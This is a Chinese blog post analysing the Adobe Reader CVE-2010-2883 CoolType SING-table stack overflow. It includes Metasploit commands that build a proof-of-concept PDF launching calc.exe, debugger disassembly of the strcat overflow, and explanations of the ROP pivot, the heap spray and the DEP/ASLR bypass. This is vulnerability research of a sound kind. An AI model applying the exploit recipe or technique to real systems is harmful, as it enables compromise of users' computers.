背景 && 摘要

想挖些漏洞,所以开始往这方面靠拢.于是最近买了一本书,名字叫:漏洞战争.

书很厚,翻看翻看,一个很大疑问就是:难道大佬都是看看走走就搞定理解了这么牛擦的漏洞????

如果你看这个 CVE-2010-2883 也有点懵逼,OK,Just follow me!

环境

主机: Ubuntu 16.04 x64 虚拟机:Windows XP SP 3 x32(漏洞重现) + Adobe Reader 9.3.4

调试工具:OllyDbg 1.10 + IDA Pro 6.8


借助 msf 生成 exploit 样本

安装 kali linux 后借助 msf 生成样本 pdf 来研究.

search cve-2010-2883
use exploit/windows/fileformat/adobe_cooltype_sing
set filename cve20102883.pdf
set payload windows/exec
set cmd calc.exe
show options
exploit
cp /root/.msf4/local/cve20102883.pdf /media/sf_Downloads/

如下图所示:

当我们使用 Adobe Reader 9.3.4 打开该文件时,尽管会提示出错,但是还是能够成功执行,如下图所示:

pdf你可以来 这里下载.

pdf 文件格式

PDF 的基本组成

pdf 的文件格式由四部分组成:

PDF 对象结构

一个 PDF 对象,看起来像下图这样:

PDF 对象结构

其第一行有对象编号,生成数以及 obj组成. 然后是 <<>> 包括起来的键值对. 最后是数据部分.

PDF 增量保存

当你对一个 PDF 文件执行 Save(保存)操作时, 新添加到 PDF 的信息将会附加到原有 PDF 的文件末尾,这些信息主要由三部分组成: body changes,xref,trailer.如下图所示:

因此当我们多次执行 Save 操作的时候会增大 PDF 的大小.

然而,当我们执行 Save as(另存为) 时, PDF 工具应当将所有的更新信息合并成一个新的完整的 PDF,这样可能在一定程度上减少 PDF 的大小.

漏洞分析

TTF 格式介绍

根据微软官方给出的 TTF 格式文档所说:All TrueType fonts use Motorola-style byte ordering (Big Endian), 我们可以知道 TTF 字体所采用的为大端序.而 TTF 字体开始是表目录,表目录的结构如下所:

TTF 表目录头结构

表目录头占了 12 字节,然后就是表目录项,表目录项的结构如下:

TTF 表目录项结构

通过 PdfStreamDumper 将字体转储之后, 用十六进制编辑器打开查看,如下图:

TTF 实例结构

先说一下制作这个图时发生的一个有趣的事情,本来我是在 vim 中打开该字体文件, 然后使用 xxd 来查看十六进制的,但是后来调试的时候发现十六进制居然不对,比如图中的 SING表偏移, 居然显示成 00 00 1d 3f,本来应该是 00 00 1d df, 弄了半天也不知道为啥,后来在 QQ 群里问了一下, 有人说应该用 -b选项打开二进制文件.试了一下果然如此,后来查了一下原因, 大概是这样的: vim 对文件内容会按照自己的编码(set fileencodings)来对内容进行解码, 当 vim 遇到不在指定编码范围内的的十六进制值时就会显示成问号(?),其十六进制是 0x3f. 当以二进制模式打开文件时,就会避免这个问题.所以正确的方法是先用 gvim -b file打开文件, 然后再用 xxd 转换为 16 进制查看.一种比较好的方式就是先在命令行使用 xxd 生成一个十六进制形式的文本文件, 然后再用 gvim 打开,这个就此打住,让我们回归正题.

当 adobe 阅读器打开 pdf 的时候,会在处理 SING 表目录项的时候发生栈溢出, 至于漏洞作者是咋发现是这个地方那就真不知道了.不过现在我们是来分析这个漏洞的, 就不管这些了.

用 IDA 打开 CoolType.dll,然后在字符串窗口中搜索 SING 字符串,找到该字符串后, 单击进入,然后交叉引用查看,如下图:

定位关键代码位置

上面第二个交叉引用就是关键代码所在的地方.接着打开 OD,载入 Adobe Reader, 进入到模块 CoolType.dll,并在上面的关键代码的地方下上断点,然后在 Adobe Reader 中打开我们生成的 PDF, 稍等一段时间,就可以在断点处停下来了.

漏洞代码如下所示:

漏洞代码

我们可以看到,这块儿有两个函数,第一个函数是未知函数. 很多时候,我们只是想知道一个函数大致是做什么工作的. 怎么处理呢?我目前的处理方法就是: 猜测+观察前后寄存器值的变化+感兴趣的内存区域值的变化.

单看第一个函数,第一个参数是 edi,第二个参数是一个字符串 "SING",还通过 ECX 传入一个 this 指针. 我们猜测是处理 SING 表目录项,这是合理的,因为我们在图 TTF实例结构中看到了这个表目录项, 所以呢这是一种合理的猜测.那么我们感兴趣的就是 edi 和 this 指针(姑且认为是this指针吧)的值了.在函数执行前后, 我们记录下它们的值以及它们指向的内存的值(可以取所值内存的前 8 个字节),同时呢,也记录下寄存器的值. 函数调用前后寄存器的值对比如下:

前            后
EAX 00000000  EAX 0012E4B4
ECX 0012E4B4  ECX 5AC7A0A2
EDX 0823A650  EDX 0823A650
EBX 0012E608  EBX 0012E608
ESP 0012E468  ESP 0012E470
EBP 0012E4D8  EBP 0012E4D8
ESI 00000000  ESI 00000000
EDI 0012E718  EDI 0012E718

d ecx(前,this指针地址): 0012E4B4 5C F2 76 04 38 07 E6 00 00 00 00 00 00 00 00 00 \騰8?........ 0012E4C4 CC B9 87 00 70 E4 12 00 0C E7 12 00 54 4A 18 08 坦?p?..?.TJ d eax(后,this指针地址): 0012E4B4 44 D9 77 04 DF 1D 00 00 00 00 00 00 00 00 00 00 D賥?.......... 0012E4C4 CC B9 87 00 70 E4 12 00 0C E7 12 00 54 4A 18 08 坦?p?..?.TJ
d edi(前): 0012E718 00 00 00 00 6D 00 00 00 01 00 00 00 01 00 00 00 ....m......... 0012E728 00 00 00 00 7C 59 FE 00 74 6B FD 00 EC 26 00 00 ....|Y?tk??.. d edi(后): 0012E718 00 00 00 00 6D 00 00 00 01 00 00 00 01 00 00 00 ....m......... 0012E728 00 00 00 00 7C 59 FE 00 74 6B FD 00 EC 26 00 00 ....|Y?tk??..

前后一对比,抛去 ESP 不用管,我们便可知道,重点在于 EAX,ECX(this指针). 我们知道 x86 汇编中,返回值一般存放在 EAX 中,那么这里就说明,函数执行完后, 返回了 this 指针.那么 ECX 是什么用处呢? 当我们往下看汇编时发现, EAX 和 ECX 马上被赋值了,也就是它们本身都没被用到,所以我们甚至连管都不用管它们了. 然而需要注意的是,函数调用前传递进入的 ecx,其值是 this 指针的地址, 而函数调用后,使用了 this 指针的值,将该值放入到 eax 中去了. 我们注意到 this 指针所指内存中的前 8 个字节发生了编号,而函数执行完后, 边将前 4 个字节放入到了 eax 中,那么这前四个字节是什么意思呢? 显然它们不是有意义的 ASCII 字符串,那么我们看一下它是否指向某个内存,如果是的话, 内存处的值是什么?初此之外,后四个字节的值呢. 如果我们看了图 TTF 实例结构 中的 SING 表,想必 1d df是会有印象的. 它就是 SING 表目录的长度.现在我们再来看前四个字节,其所指内存处的值如下所示:

d [0x12e4b4]:
0477D944  00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A  ...........:
0477D954  14 C1 84 BD 2C 51 12 F0 14 A7 82 4A 0C 0C 0C 0C  羷?Q?J....

然后我们去转储的字体文件中搜一下二进制串,比如 01 0E 00 01, 很快的我们就搜到了:

文件二进制搜索

对比来看,我们知道前四个字节实际上 SING 表在内存的起始地址. 这样的话我们基本上算是搞清楚了第一个函数的作用. 该函数的第一个参数 edi,应该是传入 pdf 文件的句柄, 但无论如何,该参数能够正确引用到 pdf 文件被映射到内存中的布局, 为了确认这一点,我们可以看一下 edi 在内存中的值:

对参数 edi 下断点

如上图所示,适当的选择内存块,然后设置内存访问断点,我们运行程序, 这个过程比较繁琐,但是我们很快就会发现,程序会在下面这个地方对 0x0012E748 处的值(0x0476F25C)进行引用, 如下图所示:

处理 PDF 对象

我们习惯性的看看此处的值,就如上图所示,这不就是 PDF 文件中的字体对象吗? 其他的东西我没有进一步去深究了,因为现在位置我们基本上可以确定第一个函数的看起来就像这样:

unsigned * loctable(filestruct* pdf,char* entname)

函数通过传入表目录项的 TAG 名称,然后读取表目录项,处理后返回一个数组, 第一个元素为表目录的内存映射地址,第二个元素为表目录的长度. 当然这不是本漏洞的重点,但是庆幸耐心的你还是看我啰嗦了这么多.

第一个函数我们可以说是差不多弄清楚了功能.现在回到 漏洞代码 截图处, 第一个函数执行完后, move eax,[ebp-0x24]就是把 SING 表的内存地址放入到 eax 中, 然后我们看 SING 表的结构.

话说这 SING 表结构,真 TM 的难找.根据 dump 出来的是 TTF 字体, 找 TTF 规范,苹果官网里给的各种表目录项目就是没有 SING 目录项, 最后知道是 OpenType 字体,从 维基找到了SING gaiji solution, 然后搜索该关键字才找了 Adobe Glyphlet Development Kit (GDK) for SING Gaiji Architecture, 然而第一次没想到规范会在上面页面的一个下载包 GlyDevKit.zip 中, 因此就没管.就这样和规范擦肩而过,至此找了好久好久,网上竟然没有人说这一东西. 最后还是看这篇 分析, 说到了规范所在位置.这其中波折真是了...

GlyDevKit.zip 解压后如下:

GlyDevKit 开发包

上图红框中的 pdf 文档里面就包含有该规范的详细信息,打开即可找到 SING 表的结构如下:

SING 表结构(偏移是我自己加上去的)

现.........在,让我们再来看 漏洞代码,我们直接奔到 add eax,10h好了, 对比 SING 表结构,我们可以知道这是找到了 SING 表的 uniqueName 字段.

然后就是 strcat 啦,代码再贴一下:

0803DDA2    50              push eax
0803DDA3    8D45 00         lea eax,dword ptr ss:[ebp]
0803DDA6    50              push eax
0803DDA7    C645 00 00      mov byte ptr ss:[ebp],0x0
0803DDAB    E8 483D1300     call strcat

man 3 strcat我们可以看到 strcat 的原型:

char *strcat(char *dest, const char *src);

你以为我会不知道 strcat 的原型? naive! 我只不过是告诉你看用 linux 多么方便...滑稽脸,逃...

看看汇编代码的第一个参数,是一个 NULL 字符串,汇编代码的处理也是挺有意思. 这样 ebp 就指向 strcat 的执行结果了.

可以看到,这里确实没有对要拼接的字符串进行长度检测,这就使得其具有潜在的被利用的可能. 然后就爆出了这个 cve,然而类似我等菜鸟,即使发现了也利用不了,那么怎么利用呢,我们看看高手的方法.

ROP跳板

上一节说到漏洞发生的地方位于 strcat ,那么让我们看一下 strcat 要连接的字符串对应于文件的哪那部分, 因为这样的话我感觉心里比较踏实,我也不知道为什么,反正看下图.

strcat 溢出的参数

这个参数虽说是溢出了,但是这里比较奇怪的是,调用 strcat 后,是一个 jmp 跳转表, 然后跳转到 strcat 处开始执行,而执行的 strcat 的过程中,不涉及到 EBP 的变化, 而 call strcat 所在的函数体为函数 CoolType.0803DCF9,记做宿主函数. 也就是说 call strcat 尽管是一个函数调用,但是不是在自己的栈帧中进行的,而是在仍旧用的宿主函数的栈帧, 暂时不清楚这是什么鬼调用方法,如果以后知道了,我会记得更新这里.另外有一个地方也很奇怪, 就是宿主函数的在堆栈开辟空间时进行的操作,如下:

// 宿主函数开头处理
0803DCF9    55                        push ebp
0803DCFA    81EC 04010000             sub esp,0x104
0803DD00    8D6C24 FC                 lea ebp,dword ptr ss:[esp-0x4]

// Security cookie
0803DD04    A1 B80F2308               mov eax,dword ptr ds:[0x8230FB8]
0803DD09    33C5                      xor eax,ebp
0803DD0B    8985 04010000             mov dword ptr ss:[ebp+0x104],eax

// 异常处理函数
0803DD11    6A 4C                     push 0x4C
0803DD13    B8 544A1808               mov eax,CoolType.08184A54
0803DD18    E8 B4A40000               call CoolType.080481D1

... 省略中间部分 ...

// 堆栈溢出处
0803DDA2    50                        push eax
0803DDA3    8D45 00                   lea eax,dword ptr ss:[ebp]
0803DDA6    50                        push eax
0803DDA7    C645 00 00                mov byte ptr ss:[ebp],0x0
0803DDAB    E8 483D1300               call <jmp.&MSVCR80.strcat>
0803DDB0    59                        pop ecx                                  ; 0012DED4
0803DDB1    59                        pop ecx                                  ; 0012DED4
0803DDB2    8D45 00                   lea eax,dword ptr ss:[ebp]


// 函数结束处 Security Cookie 校验
0803DED9    8B8D 04010000             mov ecx,dword ptr ss:[ebp+0x104]
0803DEDF    33CD                      xor ecx,ebp
0803DEE1    E8 A9A20000               call CoolType.0804818F

// 堆栈平衡
0803DEE6    81C5 08010000             add ebp,0x108
0803DEEC    C9                        leave
0803DEED    C3                        retn

这里我比较不理解的是为什么 ebp 压栈并开辟局部变量后,要来一个 lea 操作, 这样处理函数的参数的话,首先有 ebp + 0x104 + 0x4 得到上一个 ebp 的位置, 然后 +0x4 指向压入的返回地址,再 +(i * 4) 才能指向第 i (i = 1,2,..) 个参数. 总的来说,是 ebp+0x104+0x4+0x4 + 0x4 = ebp + 0x10c + 4i 指向第 i 个参数. 而且这种方式方便访问局部变量似乎也不是很方便,不太明白这里是什么调用惯例.

strcat 执行后,ebp 指向结果字符串.它们正好覆盖了宿主函数的 EBP 但是由于有 Security Cookie 存在,所以这里不是通过覆盖返回地址来达到目的的.这里 ebp 的地址是 0x0012DED4, 宿主函数的 EBP 地址是 0x0012DFDC,值为 0x0012E114,strcat 执行后,rop跳板示意图如下:

缓冲区溢出之 ROP 跳板

从上图可以清楚的看到是如何进行跳转的.这里的精妙之处在于它的触发点(TRIGGER), 暂时我还无法理解第一次利用这个漏洞的大神是咋发现这么吊炸炫酷牛叉的稳定切入点的...

我们先抛开是如何执行到 TRIGGER 处的,这个稍后会提到.我们先看看两个 ROP 跳板.

执行到 ROP-1 处时, add ebp,0x794 使得 ebp 变成了 0012DED8, 然后 leave 相当于 move esp,ebp; pop ebp, 所以 leave 执行后, ESP 变成了 0012DEDC,而[0012DEDC] 正好是 ROP-2 的执行地址, 一个 retn 指令,成功弹栈到 EIP,完美实现 EIP 控制. 于是就到了 ROP-2 处. ROP-2 处的指令显然是搜索得到的,因为正常的指令是一个 call 指令, FF50 5C,正好截取一个 5C,变成了 pop esp. 因此又成功的控制了 EIP.这个 EIP 就是堆喷射代码的起始地址 0C0C0C0C.然后就开始执行 shellocde 啦. 不过我们暂且不管 shellcode 啦.

现在来看切入点逻辑.经过几次调试发现是这样的:

0803DDAB    E8 483D1300               call jmp.MSVCR80.strcat
0803DEAF    E8 2A8DFDFF               call CoolType.08016BDE
    08016C56    E8 C64E0000               call CoolType.0801BB21
        0801BB41    FF10                      call dword ptr ds:[eax]
            0808B308    FF10                      call dword ptr ds:[eax] // 触发点

这其中逻辑是怎么回事呢?通过 OD 的 run trace 功能,大概逻辑是这样的:

触发逻辑

这里面的逻辑如此复杂,但是攻击者仍然能够理清楚这里的攻击,真是太厉害了. 从上面的逻辑调用图中可以看到,这里面的一个全局变量(或者说句柄)前后一直维持不变(保存在edi 中), 巧妙的地方在于,而在 edi 偏移 +0x3C 处(0012E0CC)恰好存放的就是 icunv36 的第一个 ROP 跳板的地址, 这个你可以在图 缓冲区溢出之 ROP 跳板中清晰的看到. 只要发现了这一点,而 0012E0CC 恰好被 strcat 溢出给覆盖了, 那么我们就可以控制 EIP 了.

这么复杂的逻辑...只能说厉害了我的哥.除了佩服就是想知道要饭能否带我一个?

Heap Spray

ROP 跳板过后,我们成功的跳到了地址 0x0c0c0c0c, 这个地址对应的又是一系列 ROP 跳转.

实际上我们并不能保证一定能跳到这个地址,但如果我们可以保证绝大多数情况下能跳转到这个地址, 那么我们就可以认为能保证跳到这个地址,这大概就是堆喷的核心思想.

这和密码学中的一些加密算法的思想很相似,我们说某种加密算法虽然在理论上存在被暴力破解的可能, 但是它仍然是安全的,这是因为暴力破解可能要花费很长很长的时间, 只要我们能保证这段时间内这密文是有效的,那么我们就可以认为改加密算法是安全的.

我们通过 PDFStreamDumper 这个工具可以看到内嵌的 JavaScript 代码:

JavaScript 堆喷代码(混淆)

经过代码重命名,我们得到了下面这样的代码(shellcode 部分没有全部显示):

JavaScript 堆喷代码(重命名)

这个代码目前我还读的不是很明白,看了几篇堆喷的介绍文章也没有什么大的进展, 主要不清楚的是里面的一些数值计算,比如其中 0x0c0c - 0x24 从何而来, 以及 0x1020-0x08 是干啥的,这些数值的具体含义暂时不是很清楚. 所以这里就不说这段代码了,以免误导别人.如果以后我明白了这段代码的意义, 我会在这里更新的.尽管它的精确含义不明白,但是核心思想应该不难理解的, 就是 NOP SLED + shellcode 作为一个填充块,对堆空间进行填充, 其中 NOP SLED 由 0xC 组成,一个填充块中 NOP SLED 占据 99% 以上的比例, 因此命中 NOP SLED 的几率很大,这样的话就能够保证跳到 shellcode 执行了.

堆栈上的代码由于 DEP 保护机制,是无法执行的.那么怎么弄呢?先看即将执行 shellcode 时的内存状况:

即将执行 shellcode 时的内存状况

此时又来了几个 ROP 跳转,由于都是类似的,而这篇分析已经比较长了,所以我就只提一下第一 个 ROP 跳转,跳转后是执行 CreateFileA 这个函数创建了一个文件.

根据图 即将执行 shellcode 时的内存状况 我们来分析一下:

#1:retn 指令,设置 EIP = 4A8063A5,该地址指令为 pop ecx;retn
#2:上述指令执行后,我们可以得到 ecx = 4A8A0000,接着 EIP = 4A802196,该地址指令为 pop eax; retn
#3:上述指令执行后,得到 eax = 4A84903C,显然它是 CreateFileA 的入口地址.接着将 EIP 设置为 4A80B692,
    该地址处指令为 jmp [eax]
#4:执行 CreateFileA.

来学习一下 CreateFileA 美妙的参数构造:

CreateFileA 的执行

类似的,我们还会看到几个函数的构造和调用:

0C0C0C60   4A849038  <&KERNEL32.CreateFileMappingA>
0C0C0CA0   4A849030  <&KERNEL32.MapViewOfFile>
0C0C0D3C   4A849170  <&MSVCR80.memcpy>

我们这里可能会有疑问,为啥要创建一个文件呢?其实我们刚刚说了,堆栈上的代码由于 DEP 机制的存在, 是无法执行的.因此这里就创建一个文件对象,将其映射到一个可读可写可执行的内存区域, 最后使用 memcpy 将 shellcode 拷贝到这块内存域不就可以啦!哈哈哈哈~此处应该有贼爽朗的笑声~

此外由于 ASLR 是对模块有效的,只要代码存在于不受 ASLR 保护的模块那么 ASLR 就失效了, 而这里,恰恰的,我们映射到的内存位于 icunv36 模块.

跟我默念膜拜六字真经:厉害了,我的哥!

到这里就算分析完了,这个漏洞前后看了几天.虽然有些地方还不是太懂, 但是随着以后的不断研究,我相信我会搞定它的!

能读(翻)到这里的你一定很帅!

Reference

  1. 如何从受感染的PDF文件中提取Payload?
  2. PDF File Format: Basic Structure
  3. Adobe PDF 101 Quick overview of PDF file format
  4. TTF spec
  5. Exploit writing tutorial part 11 : Heap Spraying Demystified
  6. Targeted Heap Spraying – 0x0c0c0c0c is a Thing of the Past
  7. 漏洞战争-cve-2010-2883
  8. Heap Exploitation




Contact me by dXAyZ2Vla0AxNjMuY29tCg==
OR
Follow me on Sinablog

Copyright ©2017 by bugnofree All rights reserved.